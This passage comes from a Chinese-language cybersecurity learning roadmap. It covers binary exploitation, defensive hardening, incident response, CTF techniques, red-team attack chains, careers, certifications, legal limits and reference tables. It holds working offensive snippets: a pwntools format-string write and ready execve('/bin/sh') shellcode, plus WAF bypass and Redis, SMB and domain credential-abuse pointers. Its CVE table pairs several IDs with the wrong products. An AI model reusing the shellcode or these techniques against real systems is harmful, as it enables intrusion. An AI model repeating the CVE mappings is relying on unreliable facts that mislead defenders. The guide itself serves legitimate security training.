# pwntools 自动化
fmt = FmtStr(execute_fmt, offset=7)
fmt.write(target_addr, 0xdeadbeef)
fmt.execute()

堆漏洞利用

漏洞类型原理利用手法
Heap Overflow堆溢出覆盖相邻堆块元数据Unlink 攻击、House of 系列
Use-After-Free (UAF)释放后仍引用已释放的堆块Fastbin Attack、Tcache Attack
Double Free同一堆块被释放两次Fastbin Dup、Tcache Dup
Heap Feng Shui构造特定堆布局排列堆块使溢出精确覆盖目标

现代防护机制与绕过

防护原理绕过方法
NX/DEP数据段不可执行ROP 链、ret2libc
ASLR地址空间随机化信息泄露绕过、partial overwrite
Stack Canary栈上随机值检测溢出泄露 Canary、格式化字符串泄露
PIE程序代码段随机化泄露代码段地址
RELROGOT 只读Partial RELRO 时仍可改 GOT
CFG控制流完整性保护利用合法间接调用
# checksec 查看保护
checksec ./binary
# 输出示例:
# NX: enabled → 不能在栈上执行代码,需要 ROP
# Canary: found → 需要泄露 Canary
# PIE: enabled → 需要泄露程序基址
# RELRO: Full → GOT 不可写

Shellcode 编写

# 32 位 Linux execve("/bin/sh") shellcode
shellcode = (
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"  # xor eax,eax; push "//sh"
    b"\x68\x2f\x62\x69\x6e\x89\xe3\x50"  # push "/bin"; mov ebx,esp; push eax
    b"\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"  # push ebx; mov ecx,esp; xor edx,edx
    b"\x80"                                 # mov al,11; int 0x80
)

# pwntools 自动生成
from pwn import
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())      # 64 位 shellcode
shellcode = asm(shellcraft.execve('/bin/sh', 0, 0))
第四阶段实操检查点
5
安全运维、防御体系
攻防对等,懂攻击更懂防御 · 预计 9-12 个月
安全设备原理
设备全称作用关键原理
FW防火墙 Firewall网络边界访问控制五元组规则(源IP/目的IP/端口/协议/动作)
WAFWeb 应用防火墙防护 Web 攻击规则引擎匹配 SQL注入/XSS/RCE 等特征
IDS入侵检测系统旁路检测告警特征库匹配 + 异常行为分析,只告警不阻断
IPS入侵防御系统串联阻断攻击在 IDS 基础上增加实时阻断能力
EDR终端检测响应主机威胁检测进程行为分析、文件溯源、自动隔离
堡垒机运维安全审计运维操作管控身份认证+操作录制+权限控制+审计
日志审计SIEM/SOC集中日志分析多源日志采集+关联分析+告警
WAF 绕过思路
大小写混淆、编码绕过(URL/Unicode/Hex)、注释符绕过、分块传输、HTTP 参数污染(HPP)、Content-Type 切换、超长参数截断、利用 HTTP/2 协议差异等。
等保 2.0(网络安全等级保护)

等保 2.0 是中国网络安全的基本制度,所有政企信息系统必须按等级进行安全建设和测评。

等级划分

等级对象要求
第一级一般系统自主保护级
第二级一般企业系统指导保护级,需备案
第三级重要业务系统(最常见)监督保护级,每年测评一次
第四级核心关键系统强制保护级,半年测评一次
第五级特殊系统专控保护级

三级等保核心要求

  • 物理安全:机房门禁、温湿度控制、防雷防火
  • 网络安全:边界防护、访问控制、入侵防范、恶意代码检测
  • 主机安全:身份鉴别、访问控制、安全审计、入侵防范、恶意代码防范
  • 应用安全:身份认证、通信加密、软件容错
  • 数据安全:数据完整性、保密性、备份恢复
  • 安全管理:管理制度、人员管理、建设管理、运维管理
  • 日志留存:≥ 6 个月网络日志留存
  • 应急预案:安全事件应急响应预案
应急响应(企业刚需岗位)

服务器被入侵、中勒索病毒、数据泄露后的排查流程。应急响应是安全运维的核心技能。

应急响应六步法 (PICERL)

步骤内容关键操作
P 准备日常准备建立应急团队、工具包、联系人清单、演练
I 发现检测确认告警分析、异常检测、初步研判
C 抑制控制扩散隔离主机、封禁 IP、停服务、断网
E 根除清除威胁杀恶意进程、删后门、修漏洞
R 恢复业务恢复清干净后恢复服务、验证安全性
L 总结复盘加固写报告、分析原因、加固整改

常见应急场景排查

# Linux 入侵排查
last                            # 查看登录历史
grep "Accepted" /var/log/auth.log  # 查看成功登录
cat ~/.bash_history              # 查看命令历史
ps aux | grep -E "nc|bash|python"  # 可疑进程
netstat -tunlp                   # 异常网络连接
crontab -l                      # 检查定时任务
cat /etc/rc.local                # 检查自启动
find / -mtime -1 -type f         # 查找最近1天修改的文件
strings 可疑文件 | grep -i "http"  # 提取字符串找C2地址

# Windows 入侵排查
net user                        # 检查新增用户
net localgroup administrators   # 检查新增管理员
tasklist /svc                    # 可疑进程
netstat -ano                    # 异常连接
schtasks /query /fo LIST /v    # 检查计划任务
reg query "HKLM\...\Run"      # 检查自启动
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4625}  # 暴力破解痕迹

勒索病毒应急

  1. 立即隔离:断网但不要关机(内存中可能有解密密钥)
  2. 保留证据:不要删除加密文件和勒索信
  3. 识别类型:上传样本到 https://id-ransomware.malwarehunterteam.com 识别
  4. 查找解密工具:检查 https://www.nomoreransom.org 是否有解密器
  5. 排查入口:分析入侵途径(RDP爆破/钓鱼邮件/漏洞利用)
  6. 清除后门:排查并清除攻击者留下的后门
  7. 恢复数据:从备份恢复,无备份则等待解密工具
  8. 加固整改:修补漏洞、加强口令、启用 MFA
云安全

云安全核心知识

领域要点
安全组阿里云/腾讯云的虚拟防火墙,控制入站/出站规则
OSS 对象存储Bucket 权限配置错误导致公开访问泄露数据
容器安全Docker 容器逃逸、K8s RBAC 配置、Pod 安全策略
云主机基线密码策略、端口管理、SSH 加固、日志配置
IAM 权限最小权限原则、角色分离、AccessKey 管理
云 WAF云上 Web 应用防火墙配置与规则调优
安全加固清单

Linux 服务器安全加固

# 1. SSH 加固
vi /etc/ssh/sshd_config
PermitRootLogin no                    # 禁止 root 直接 SSH
PasswordAuthentication no             # 禁止密码登录,只允许密钥
Port 22222                            # 修改默认端口
MaxAuthTries 3                        # 限制认证次数
AllowUsers user1 user2                # 限制可登录用户
systemctl restart sshd

# 2. 密码策略
vi /etc/login.defs
PASS_MAX_DAYS 90                      # 密码最大有效期
PASS_MIN_DAYS 7                      # 密码最短使用天数
PASS_MIN_LEN 12                     # 最小密码长度
vi /etc/pam.d/system-auth
password requisite pam_cracklib.so try_first_pass retry=3 dcredit=1 ucredit=1 ocredit=1 lcredit=1

# 3. 文件权限加固
chmod 600 /etc/ssh/sshd_config
chmod 644 /etc/passwd
chmod 000 /etc/issue
chattr +i /etc/passwd /etc/shadow /etc/group /etc/gshadow  # 不可变属性

# 4. 禁用不必要的服务
systemctl disable telnet.socket
systemctl disable rsh.socket
systemctl disable rpcbind

# 5. 防火墙配置
firewall-cmd --permanent --add-rich-rule="rule service name=ssh limit value=3/min accept"
firewall-cmd --permanent --add-service=https
firewall-cmd --permanent --set-default-zone=drop
firewall-cmd --reload

# 6. 审计日志
auditctl -w /etc/passwd -p wa -k user_modify
auditctl -w /var/log/ -p wa -k log_access

Windows 服务器安全加固

# 1. 账户策略
secedit /export /cfg policy.cfg     # 导出安全策略
# 密码长度 ≥12, 复杂性开启, 最长有效期 90 天
# 账户锁定: 5次错误后锁定 30 分钟

# 2. 关闭危险端口
netsh advfirewall firewall add rule name="Block135" dir=in action=block protocol=TCP localport=135
netsh advfirewall firewall add rule name="Block445" dir=in action=block protocol=TCP localport=445
netsh advfirewall firewall add rule name="Block3389" dir=in action=block protocol=TCP localport=3389

# 3. 禁用危险服务
sc config RemoteRegistry start= disabled
sc config Telnet start= disabled
sc config WebClient start= disabled

# 4. 开启审计
auditpol /set /category:* /success:enable /failure:enable

# 5. RDP 加固
# 网络级身份验证(NLA)、限制可登录用户
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 1 /f
SOC/SIEM 安全运营中心

SOC/SIEM 架构

层级功能典型组件
数据采集收集各类日志/流量数据Syslog, Filebeat, Winlogbeat, Packetbeat
数据处理解析、过滤、标准化、富化Logstash, Fluentd, Vector
数据存储海量日志高效查询Elasticsearch, Splunk, ClickHouse
分析引擎规则匹配、关联分析、异常检测Sigma规则, UEBA, MITRE ATT&CK
告警展示告警面板、可视化大屏Kibana, Grafana, 自研平台
响应编排自动化响应SOAR, Phantom, CronJob

告警研判流程(蓝队核心技能)

# 告警研判五步法
1. 确认告警类型 → SQL注入?爆破?WebShell上传?
2. 分析攻击源 IP → 归属、历史恶意行为、是否扫描器
3. 分析目标资产 → 是否核心系统、是否已沦陷
4. 评估攻击结果 → 成功?失败?误报?
5. 处置响应 → 封IP?封账号?隔离主机?提交报告?

# 常见告警类型及研判要点
# SQL注入:检查响应码、响应长度、WAF是否拦截、数据库是否有异常查询
# XSS:检查payload是否到达前端、是否触发执行、是否带cookie外传
# 暴力破解:检查失败次数、频率、来源IP、是否最终成功
# WebShell上传:检查文件名、文件内容特征、访问频率、是否命令执行
# 异常外连:检查目的IP、端口、协议、是否C2地址、是否有数据外传

常用威胁情报

VirusTotal
文件/URL/IP/域名多引擎检测
微步在线 X情报
国内威胁情报查询,IP/域名信誉
AlienVault OTX
开源威胁情报社区
Censys
全网资产扫描和指纹识别
AbuseIPDB
恶意 IP 数据库
MITRE ATT&CK
攻击行为知识库,研判和检测框架
6
CTF 竞赛与红蓝对抗
拔高能力 · 以赛代练
CTF 五大题型
题型内容核心技能推荐练习
Web注入、上传、反序列化、SSTIWeb 漏洞原理 + 绕过技巧Bugku, 攻防世界, CTFSHOW
Pwn二进制溢出利用汇编 + 栈溢出 + ROP + 格式化字符串pwnable.kr, pwntools
Reverse逆向脱壳、算法解密反汇编 + 反编译 + 算法还原crackme.one, Reversing.kr
Crypto密码学攻击RSA/AES/DES/MD5/哈希碰撞CryptoHack, RSA-CTF-Tool
Misc杂项隐写术、流量分析、磁盘取证、OSINTMisc 综合题库
# CTF 常用工具
# Web: Burp Suite, sqlmap, dirsearch, tplmap
# Pwn: pwntools, gdb-pwndbg, ROPgadget, one_gadget
# Reverse: IDA Pro, x64dbg, Ghidra, z3-solver
# Crypto: SageMath, RSA-Tool, CyberChef, hashcat
# Misc: Wireshark, stegsolve, binwalk, foremost, Audacity

# Misc 隐写常用命令
binwalk image.png              # 检查文件中隐藏内容
foremost -i image.png           # 提取隐藏文件
steghide extract -sf image.jpg  # 提取隐写数据
strings file | grep flag      # 搜索 flag 字符串
exiftool image.jpg              # 查看元数据
红蓝对抗(HW 护网行动)
角色职责核心技能
红队(攻击方)外网打点→内网渗透→拿下核心服务器0day利用、社工钓鱼、免杀、内网横向
蓝队(防守方)流量监控→告警研判→漏洞封堵→溯源反制流量分析、日志审计、应急响应、溯源画像

红队攻击链

# 典型红队攻击路径
1. 信息收集 → 子域名、端口、指纹、人员信息
2. 外网打点 → 0day/Nday漏洞利用、钓鱼邮件、社工
3. 获取权限 → WebShell / 反弹 Shell
4. 内网渗透 → 提权、凭证抓取、横向移动
5. 目标达成 → 拿下核心系统、获取 flag
6. 权限维持 → 后门、隧道、隐藏账号
7. 痕迹清理 → 清日志、删文件

蓝队监控与研判

  • 流量监控:全流量分析设备 (NTA)、IDS/IPS 告警
  • 告警研判:区分误报与真实攻击,分析攻击链
  • 漏洞封堵:WAF 规则、IPS 规则、热补丁
  • 溯源反制:分析攻击 IP、攻击者画像、反制
CTF 各题型详细技巧

Web 题常见考点

考点关键词常用方法
SQL注入过滤、WAF、异或、盲注绕过、二次注入、列名猜测
反序列化PHP/Java/PythonPOP链构造、Gadget链利用
SSTI模板注入沙箱逃逸、类继承链
SSRF内网访问、gopher协议打Redis、FPM、MySQL
文件上传/包含绕过、pharphar反序列化、条件竞争
命令注入过滤、绕过通配符绕过、编码绕过
XSScsp、过滤CSP绕过、DOM Clobbering
JWT令牌伪造none算法、密钥爆破、JWK注入

Pwn 题常用技巧

# 1. 基本栈溢出 → ret2text
# 找溢出偏移量 → 覆盖返回地址 → 跳到后门函数

# 2. ret2libc / ret2plt
# 泄露 libc 地址 → 计算 system 和 /bin/sh 偏移 → 构造 payload

# 3. 格式化字符串漏洞
# 泄露栈/canary/PIE → 任意地址写 → 劫持 GOT 或返回地址

# 4. 堆利用
# Fastbin Attack → 伪造堆块 → 任意地址写
# Tcache Poisoning (glibc 2.27+) → 篡改 tcache 链表
# House of Spirit → 伪造 free chunk → 分配到任意地址
# House of Force → 覆盖 top chunk size → 分配到任意地址

# 5. 静态/动态链接
# 静态链接 → ROPgadget 多 → 直接 syscall
# 动态链接 → ret2libc → 需泄露 libc 版本

Reverse 题常用技巧

# 1. 找关键函数 → 看 main → 找 check/encrypt/verify
# 2. 算法识别 → 常见加密(XOR/RC4/AES/TEA/Base64)
# 3. 动态调试 → 在比较处下断 → 回溯算法
# 4. 修补程序 → 直接 patch 跳转指令 → 暴力过验证
# 5. 常见反调试 → IsDebuggerPresent → patch 或 hook

# Crypto 常见考点
# RSA: 共模攻击、低指数攻击、Wiener、Coppersmith
# AES: ECB/CTR 模式攻击、Padding Oracle
# LFSR: 已知明文还原
# 椭圆曲线: Pohlig-Hellman、Smart's Attack

# Misc 常见考点
# 隐写: LSB、文件结构、频域隐写
# 流量: HTTP文件提取、USB键盘流量、蓝牙
# 取证: 内存(Volatility)、磁盘(Autopsy)、注册表
# 编码: Base全系列、Malbolge、Brainfuck

CTF 工具速查表

pwntools
Pwn 必备库,本地/远程交互、payload生成、ROP
ROPgadget
搜索 ROP gadget,构建 ROP 链
one_gadget
查找 libc 中的 one-gadget RCE
CyberChef
万能编码解码分析工具
SageMath
数学计算引擎,密码学题必备
stegsolve
图片隐写分析神器
binwalk
文件分析,提取隐藏内容
z3-solver
SMT 求解器,解约束方程
蓝队研判与溯源反制

蓝队工作流程

# HW 护网蓝队日常
1. 值班监控 → 实时关注告警面板
2. 告警研判 → 真实攻击?误报?低危扫描?
3. 事件上报 → 发现真实攻击,5分钟内上报
4. 应急处置 → 封IP、停服务、隔离主机
5. 溯源分析 → 分析攻击者身份、路径、手法
6. 复盘总结 → 优化规则、加固防御

溯源反制技术

方向方法工具/途径
IP 归属查 IP 地理位置、ASN、运营商ipinfo.io, Whois
历史行为查 IP 历史攻击记录微步在线, AbuseIPDB
社工反制诱导攻击者访问带探针页面自定义 404 页面、蜜罐
浏览器指纹获取攻击者浏览器/插件指纹JS 探针
位置定位攻击者加载图片获取 GPS图片定位 API
设备信息Wi-Fi/蓝牙 MAC 地址浏览器 API
蜜罐取证记录攻击者操作行为T-Pot, HFish

常见误报排除

误报场景特征排除方法
漏洞扫描器大量 404、固定 UA、高频请求检查 UA 和频率
安全审计已知扫描器 IP、授权范围内确认是否授权扫描
CDN 回源来源 IP 为 CDN 节点查看 X-Forwarded-For
搜索引擎爬虫Googlebot/Baiduspider UA验证 IP 归属
业务正常请求参数中包含 SQL 关键字但非注入分析参数上下文
7
职业方向细分
学到中期选定一条深耕
六大职业方向
方向1:Web 渗透测试工程师
入门首选,需求量最大
日常:漏洞挖掘、安全评估、渗透报告编写、漏洞修复复测
易入门需求大
方向2:内网红队工程师
高薪,护网主力
大型政企域环境渗透、免杀远控、多层内网横向移动
高薪护网核心
方向3:逆向/恶意代码分析师
技术门槛高
病毒分析、软件逆向、漏洞挖掘、漏洞研究员
高门槛天花板高
方向4:安全运维/等保测评
企业刚需
安全设备运维、等级保护测评、安全加固、应急响应
稳定需求持续
方向5:安全开发工程师
攻防+开发复合型
自研扫描器、WAF 规则开发、安全检测平台、Python/Go 工具
复合型稀缺
方向6:工控/物联网安全
新兴领域
PLC 设备、摄像头、智能设备漏洞挖掘
蓝海新兴

薪资参考(一线城市,仅供参考)

方向初级(0-2年)中级(2-5年)高级(5年+)
Web 渗透测试8-15K15-30K30-50K
内网红队12-20K20-40K40-60K+
逆向/漏洞研究15-25K25-50K50-80K+
安全运维8-12K12-25K25-40K
安全开发12-20K20-40K40-60K

注:薪资因城市、公司、个人能力差异较大,护网期间红队日薪可达 3K-10K/天。

面试准备与能力评估

高频面试题

# Web 渗透方向
Q: SQL注入原理?防御方法?
A: 用户输入拼接到SQL语句中,可执行非预期操作。
   防御:参数化查询、ORM、WAF、最小权限原则、输入过滤。

Q: XSS 三种类型区别?如何防御?
A: 反射型(URL触发)、存储型(存DB)、DOM型(前端JS)。
   防御:输出编码、CSP策略、HttpOnly Cookie。

Q: CSRF 和 XSS 的区别?
A: CSRF 利用用户已登录身份发起请求,不需要注入代码;
   XSS 是注入恶意代码在受害者浏览器执行。
   CSRF防御: Token、SameSite Cookie、Referer。

Q: 文件上传漏洞如何绕过?
A: MIME绕过、后缀绕过(.php5/.phtml/.PhP)、.htaccess、
   解析漏洞、条件竞争、图片马。

Q: SSRF 如何利用?防御方法?
A: 探测内网、读取文件、攻击内网服务(Redis/FPM)。
   防御: 白名单、禁用file/gopher协议、内网隔离。

# 内网渗透方向
Q: 黄金票据和白银票据区别?
A: 黄金: 用krbtgt哈希伪造TGT,可访问所有服务,但需要域控权限。
   白银: 用服务账户哈希伪造TGS,只访问特定服务,不需要域控权限。

Q: Mimikatz 能抓取哪些凭证?
A: 明文密码(WDigest)、NTLM哈希、Kerberos票据、LSA secrets。

Q: 域内如何查找域管?
A: net group "domain admins" /domain
   BloodHound分析最短攻击路径
   PowerView: Get-NetGroupMember -GroupName "Domain Admins"

# 应急响应方向
Q: 服务器被入侵了怎么办?
A: 1.隔离但不要关机 2.保留证据 3.排查入口
   4.清除后门 5.修复漏洞 6.恢复业务 7.复盘加固

Q: 如何判断是勒索病毒?
A: 文件被加密且扩展名改变、存在勒索信、
   上传样本到 id-ransomware.malwarehunterteam.com 识别。

个人能力建设建议

方向技术能力加分项
Web 渗透OWASP Top10 原理+复现、Burp 熟练、SRC 漏洞挖掘自研扫描器、CVE 复现、CNVD/补天证书
内网红队域渗透全流程、CS 熟练、免杀能力护网经验、0day挖掘、APT复现
逆向分析汇编、PE/ELF、脱壳、漏洞利用CTF Pwn/Re 成绩、CVE挖掘
安全运维等保2.0、设备运维、应急响应CISSP/CISP、SOC建设经验
安全开发Python/Go、扫描器开发、SDLCGitHub开源项目、DevSecOps

求职渠道

补天平台
漏洞响应平台,有 SRC 挖洞记录更容易求职
CNVD
国家信息安全漏洞共享平台
看准网/脉脉
安全岗位招聘和公司评价
各大厂 SRC
腾讯/阿里/字节/京东等安全应急响应中心
8
行业权威证书
求职加分项
证书推荐
证书方向含金量说明
CEH渗透入门⭐⭐⭐注册道德黑客,EC-Council 认证,国际认可的入门渗透证书
CISP-PTE渗透测试⭐⭐⭐⭐注册渗透测试工程师,国内企业认可度高,实操考试
OSCP渗透高阶⭐⭐⭐⭐⭐渗透测试天花板证书,OffSecurity 认证,24 小时实操考试,含金量最高
CISSP安全管理⭐⭐⭐⭐⭐信息安全管理体系,管理层证书,需 5 年工作经验
ACP 安全云安全⭐⭐⭐阿里云安全认证,云安全方向加分
腾讯云安全认证云安全⭐⭐⭐腾讯云安全工程师认证
CISP综合安全⭐⭐⭐⭐注册信息安全专业人员,国企/政企常要求
CISP-IRE应急响应⭐⭐⭐⭐注册应急响应工程师,国内认可
考证建议
求职优先级:OSCP > CISP-PTE > CEH。OSCP 是技术实力的最好证明,虽然考试难度大但含金量最高。国企/政企方向建议 CISP 系列。云安全方向建议考对应云厂商认证。
证书考试详解与备考建议

OSCP 备考详解(渗透天花板)

OSCP 考试概况
OffSecurity 认证。考试时间 23小时45分钟(含休息),需独立攻克 5-6 台靶机(含 BoF),提交渗透报告。含金量最高,全球认可。
阶段内容建议时间
PEN-200 课程官方教材,涵盖渗透全流程2-3 个月
HTB 靶机练习至少完成 50 台 HTB 机器持续
Proving GroundsOffSec 官方练习平台1-2 个月
模拟考试5 小时内完成 3 台机器考前 2 周
报告练习练习写专业渗透报告考前 1 周
# OSCP 备考核心技能
# 1. 信息收集: nmap 全端口 + 服务枚举
# 2. Web: 手动 SQL注入、文件上传、LFI
# 3. 提权: Linux SUID/sudo/cron + Windows 服务提权
# 4. Buffer Overflow: 栈溢出 + 找 EIP + 写 exploit
# 5. 报告: 专业渗透测试报告

# 考试策略
# 先做 BoF 题(确定性高)→ Web 题提权链 → 查看 AD 题目标
# 保留截图证据,边做边记录

CISP-PTE 备考详解

项目说明
考试形式100% 实操(机考),2.5 小时
考试内容SQL注入、文件上传、XSS、命令执行、提权等实操题
难度中等,适合有一定 Web 渗透基础的同学
备考官方培训 5 天 + DVWA/SQLi-Labs 刷题
证书有效期3 年,需继续教育维持

CEH 备考详解

项目说明
考试形式选择题 125 题,4 小时
考试内容渗透测试流程、工具知识、漏洞原理(偏理论)
难度较低,适合入门,偏重知识面
前置条件需 EC-Council 官方培训(或申请免培训)
实操考试CEH Practical(6 小时 20 项实操,可选)

各证书学习资源

证书官方资源推荐补充
OSCPPEN-200 课程、Proving GroundsHTB、IppSec YouTube、TJ Null
CISP-PTE官方教材+培训DVWA、SQLi-Labs、Pikachu
CEHEC-Council iClassCEH v12 考试大纲、Matt Walker 教材
CISSPISC2 官方 CBKSybex 教程、Boson 模考
CISSP需 5 年相关工作经验OSSG/CISSP Study Groups
9
学习时间规划
零基础参考 · 全程 12 个月
第 1-2 个月
计算机基础 + Linux + Python + 网络协议。目标:能独立操作 Linux 命令行,能用 Python 写简单脚本,理解 TCP/IP 模型。
第 3-5 个月
Web 漏洞全原理 + 靶场复现 + Burp/Xray 工具熟练。目标:能独立完成 DVWA 所有漏洞,熟练使用 Burp Suite,通关 SQLi-Labs。
第 6-8 个月
内网渗透、域渗透、CS/Mimikatz 实战。目标:搭建域环境,完整走通外网打点→提权→横向→域控全流程。
第 9-12 个月
逆向基础、应急响应、红蓝对抗、CTF 刷题。目标:能分析简单恶意样本,参与 CTF 比赛,具备蓝队研判能力。
学习原则
全程坚持实操,拒绝只看视频不动手。每学一个漏洞原理,必须搭靶场复现一次。每学一个工具,必须动手跑一遍。参加 CTF 比赛是检验学习成果的最好方式。
10
法律红线(必须牢记)
合法第一,违法必究
绝对禁止的行为
任何未经授权的网站、服务器、系统,一律禁止测试!私自入侵属于《网络安全法》《刑法》非法侵入计算机信息系统罪,承担刑事责任。

相关法律条文:
• 《刑法》第285条:非法侵入计算机信息系统罪(三年以下有期徒刑)
• 《刑法》第286条:破坏计算机信息系统罪(五年以上有期徒刑)
• 《网络安全法》第27条:任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动
合法练习途径
所有练习仅限:
1. 自己搭建的本地靶场(DVWA、Vulhub、VulnHub 等)
2. 官方练习平台(HackTheBox、TryHackMe、Bugku 等)
3. 授权攻防演练环境(HW 护网、企业授权渗透测试)

学习目标:白帽安全工程师,用技术做合规的安全防护与漏洞检测。
11
学习资源汇总
推荐书籍、平台、社区
推荐书籍
阶段书名说明
基础《Python 黑帽子:黑客与渗透测试编程之道》Python 安全编程实战
基础《Linux 基础教程》Linux 命令行入门
网络《TCP/IP 详解 卷1》网络协议圣经
Web安全《Web 安全深度剖析》国内 Web 安全经典
Web安全《白帽子讲 Web 安全》吴翰清著,阿里安全专家
Web安全《Web 前端黑客技术揭秘》前端安全深入
渗透《Metasploit 渗透测试指南》MSF 权威指南
内网《内网安全攻防:渗透测试实战指南》国内内网渗透圣经
内网《红队网络渗透测试》红队实战方法论
逆向《逆向工程核心原理》逆向入门经典
逆向《C++ 反汇编与逆向分析技术揭秘》逆向进阶
防御《安全运维之道》安全运维实战
应急《应急响应技术与实战》应急响应指南
在线学习平台与社区
Bilibili
大量免费安全教学视频,搜索"Web安全""渗透测试"等关键词
腾讯云大学
腾讯云安全课程,云安全方向
FreeBuf
国内最大安全资讯社区,技术文章+行业新闻
先知社区
阿里安全社区,高质量技术文章
安全客
360 安全客,漏洞分析+安全资讯
Seebug
知道创宇漏洞库,PoC + 漏洞详情
安全圈
安全话题讨论社区
CVE Details
全球漏洞数据库,查 CVE 漏洞详情
GitHub
搜索安全工具、PoC、exp、靶场环境
HackTheBox Academy
系统化安全课程+实操靶机
TryHackMe
引导式安全学习,零基础友好
PortSwigger Academy
Burp 官方免费 Web 安全实验室
Kali Linux 常用工具速查
分类工具用途
信息收集nmap端口扫描/服务识别
masscan超快端口扫描
sublist3r / amass子域名枚举
Web 渗透burpsuiteWeb 代理抓包改包
sqlmapSQL 注入自动化
dirsearch / gobuster目录扫描
漏洞利用metasploit漏洞利用框架
searchsploitExploit-DB 搜索
hydra / medusa密码爆破
后渗透mimikatz凭证抓取
cobalt strike远控/后渗透平台
逆向分析ghidra反汇编/反编译
gdb + pwndbg动态调试
binwalk固件分析/隐写提取
流量分析wireshark图形化抓包分析
tcpdump命令行抓包
其他hashcat / john哈希破解
responder内网中间人攻击
经典 CVE 漏洞速查表
CVE 编号漏洞名称类型影响组件利用难度
CVE-2017-0144永恒之蓝 EternalBlueRCEWindows SMBv1⭐ (MSF一键)
CVE-2019-0708BlueKeepRCEWindows RDP⭐⭐
CVE-2020-0796SMBGhostRCEWindows SMBv3⭐⭐
CVE-2021-44228Log4j2RCEApache Log4j⭐ (一行payload)
CVE-2021-26155Confluence OGNL注入RCEAtlassian Confluence⭐⭐
CVE-2022-22965Spring4ShellRCESpring Framework⭐⭐
CVE-2022-26134Confluence OGNL注入RCEAtlassian Confluence⭐⭐
CVE-2019-0232Tomcat AJP RCERCEApache Tomcat⭐⭐
CVE-2020-13935Tomcat WebSocket 栈溢出RCEApache Tomcat⭐⭐⭐
CVE-2017-12635Nexus Repository权限绕过Sonatype Nexus
CVE-2018-2894WebLogic SSRFSSRFOracle WebLogic⭐⭐
CVE-2020-14882WebLogic 后台RCERCEOracle WebLogic
CVE-2019-2725WebLogic 反序列化RCEOracle WebLogic⭐⭐
CVE-2016-4437Shiro 反序列化RCEApache Shiro⭐⭐
CVE-2020-13920Fastjson 反序列化RCEAlibaba Fastjson⭐⭐
CVE-2019-3398Confluence 路径穿越文件写入Atlassian Confluence⭐⭐
CVE-2018-7600Drupalgeddon2RCEDrupal CMS⭐⭐
CVE-2019-11043PHP-FPM RCERCEPHP-FPM + Nginx⭐⭐
CVE-2023-23397Outlook 提权漏洞信息泄露Microsoft Outlook⭐⭐⭐
CVE-2023-46604Apache ActiveMQ RCERCEApache ActiveMQ⭐⭐
如何学习 CVE
建议用 Vulhub 一键部署漏洞环境复现。先理解漏洞原理,再手动构造 payload 验证,最后尝试不看教程独立复现。重点关注 OWASP Top 10 相关的 Web 漏洞。
常见端口与服务速查
端口服务安全关联利用/爆破工具
21FTP匿名访问、爆破、后门命令执行Hydra, ftp-anon NSE
22SSH密码爆破、密钥窃取、隧道Hydra, medusa
23Telnet明文传输、爆破Hydra
25SMTP邮件伪造、用户枚举smtp-user-enum
53DNS区域传送、DNS劫持、隧道dig, dnsenum, dnscat2
80/443HTTP/HTTPSWeb 漏洞(全部)Burp, sqlmap, nmap
110POP3邮件爆破Hydra
135MSRPCWindows 远程过程调用、WMIimpacket
139/445SMB永恒之蓝、IPC$、空连接MSF, CrackMapExec
1433MSSQLSQL注入、xp_cmdshell RCEsqlmap, sqsh
1434MSSQL UDP数据库枚举
1521OracleTNS 利用、默认账户odat, nmap
2049NFS未授权访问、no_root_squashshowmount, mount
2375/2376Docker API未授权→容器逃逸curl
3306MySQLSQL注入、UDF提权、爆破sqlmap, Hydra
3389RDPBlueKeep、爆破、凭证抓取Hydra, MSF
4848GlassFish后台漏洞
5432PostgreSQL默认账户、提权Hydra, psql
5900VNC爆破、未授权访问Hydra
5985/5986WinRM远程命令执行evil-winrm
6379Redis未授权→写计划任务/SSH公钥/WebShellredis-cli
7001WebLogic反序列化、SSRF、后台RCEMSF
8080HTTP AltTomcat/Jenkins/JBoss 后台Burp
8443HTTPS AltWeb 漏洞Burp
9000PHP-FPMFastCGI RCE
9200/9300Elasticsearch未授权数据泄露、RCEcurl
11211Memcached未授权数据泄露、DDoS放大telnet
27017MongoDB未授权数据泄露mongo

网络安全(白帽黑客)系统化学习路线 · 完整版

所有练习仅限本地靶场与授权环境 · 合法合规 · 白帽精神

勾选的进度会自动保存到本地,刷新不丢失